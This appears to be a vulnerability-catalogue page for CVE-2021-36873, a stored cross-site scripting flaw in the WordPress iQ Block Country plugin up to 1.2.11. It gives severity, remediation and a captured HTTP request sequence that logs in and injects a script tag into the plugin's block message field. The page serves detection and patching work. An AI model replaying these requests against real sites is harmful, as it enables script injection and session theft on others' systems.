🔙 목록으로 돌아가기

CVE-2021-36873: WordPress iQ Block Country <=1.2.11 - Cross-Site Scripting

TitleWordPress iQ Block Country <=1.2.11 - Cross-Site Scripting
Authortheamanrawat
SeverityMedium
ImpactAuthenticated attackers can inject malicious JavaScript via stored XSS in the block message field, potentially stealing administrator session cookies or accessing plugin configuration data.
RemediationUpdate to the latest version of the WordPress iQ Block Country plugin (>=1.2.12) to mitigate this vulnerability.
CVSS Score5.4
EPSS Score0.03985
CVE IDCVE-2021-36873
CWE IDCWE-79
Tags cve cve2021 wp-plugin iq-block-country wordpress wp xss authenticated wpscan webence vuln

🔍 Vulnerability Description

WordPress iQ Block Country plugin 1.2.11 and prior contains a cross-site scripting vulnerability. An attacker can execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:88.0) Gecko/20100101 Firefox/88.0
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

log=lUT1wu&pwd=O3ttzB&wp-submit=Log+In
GET /wp-admin/options-general.php?page=iq-block-country%2Flibs%2Fblockcountry-settings.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /wp-admin/options.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.8 Mobile/15E148 Safari/604.1
Connection: close
Content-Length: 513
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

option_page=iqblockcountry-settings-group&action=update&_wpnonce=Mk8alC&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Foptions-general.php%3Fpage%3Diq-block-country%2Flibs%2Fblockcountry-settings.php&blockcountry_blockmessage=test</textarea><script>alert(document.domain)</script>&blockcountry_redirect=2&blockcountry_redirect_url=&blockcountry_header=on&blockcountry_nrstatistics=15&blockcountry_daysstatistics=30&blockcountry_geoapikey=&blockcountry_apikey=&blockcountry_ipoverride=NONE&blockcountry_debuglogging=on
GET /wp-admin/options-general.php?page=iq-block-country%2Flibs%2Fblockcountry-settings.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-36873.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-36873.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A